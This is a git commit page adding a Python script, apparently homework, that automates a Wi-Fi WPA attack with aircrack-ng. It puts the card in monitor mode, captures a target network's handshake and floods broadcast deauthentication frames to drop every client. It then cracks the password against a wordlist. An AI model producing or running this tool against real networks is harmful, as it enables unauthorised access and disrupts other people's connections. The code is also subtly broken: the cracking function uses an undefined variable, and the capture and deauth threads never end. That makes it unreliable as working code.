Added functions to change wifi interface mode, start/stop monitor mode, capture handshake, deauthenticate clients, and crack password using aircrack-ng.
This commit is contained in:
parent
1cb09832a3
commit
7dde8a9e64
67
hw7/gpt4/app.py
Normal file
67
hw7/gpt4/app.py
Normal file
@ -0,0 +1,67 @@
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
|
||||
def run_command(command):
|
||||
"""Run a shell command with sudo and return the output."""
|
||||
result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
|
||||
return result.stdout
|
||||
|
||||
def change_mode(interface, mode):
|
||||
"""Change the mode of the wifi interface."""
|
||||
run_command(['ifconfig', interface, 'down'])
|
||||
run_command(['iwconfig', interface, 'mode', mode])
|
||||
run_command(['ifconfig', interface, 'up'])
|
||||
|
||||
def start_monitor_mode(interface):
|
||||
"""Start monitor mode on the specified interface."""
|
||||
run_command(['airmon-ng', 'start', interface])
|
||||
|
||||
def stop_monitor_mode(interface):
|
||||
"""Stop monitor mode on the specified interface."""
|
||||
run_command(['airmon-ng', 'stop', interface])
|
||||
|
||||
def capture_handshake(interface, bssid, channel):
|
||||
"""Capture the handshake for the specified BSSID."""
|
||||
run_command(['airodump-ng', '--bssid', bssid, '--channel', channel, '-w', 'capture', interface])
|
||||
|
||||
def deauthenticate(interface, bssid, client):
|
||||
"""Deauthenticate a client to capture the handshake."""
|
||||
run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface])
|
||||
|
||||
def crack_password(cap_file, wordlist):
|
||||
"""Crack the password using aircrack-ng."""
|
||||
result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
|
||||
return result
|
||||
|
||||
def main():
|
||||
interface = input("Enter the name of your wifi interface: ")
|
||||
bssid = input("Enter the BSSID of the target network: ")
|
||||
channel = input("Enter the channel of the target network: ")
|
||||
wordlist = input("Enter the path to your wordlist: ")
|
||||
|
||||
# Change to monitor mode
|
||||
change_mode(interface, 'monitor')
|
||||
start_monitor_mode(interface)
|
||||
|
||||
# Capture handshake
|
||||
capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel))
|
||||
capture_thread.start()
|
||||
|
||||
# Deauthenticate clients
|
||||
deauth_thread = threading.Thread(target=deauthenticate, args=(interface, bssid, 'FF:FF:FF:FF:FF:FF'))
|
||||
deauth_thread.start()
|
||||
|
||||
capture_thread.join()
|
||||
deauth_thread.join()
|
||||
|
||||
# Crack password
|
||||
password = crack_password('capture-01.cap', wordlist)
|
||||
print(f"The password is: {password}")
|
||||
|
||||
# Change back to managed mode
|
||||
stop_monitor_mode(interface)
|
||||
change_mode(interface, 'managed')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
Reference in New Issue
Block a user